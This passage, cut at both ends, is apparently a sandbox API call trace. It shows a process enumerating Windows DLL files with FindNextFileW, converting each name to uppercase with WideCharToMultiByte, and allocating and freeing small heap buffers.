lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.342] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.342] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.343] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.343] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.343] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x94c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.344] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x94c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.344] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x94c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.344] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x94c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.345] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x94c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.345] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x94c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.345] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.346] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x94c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.346] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x94c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.346] RtlFreeHeap 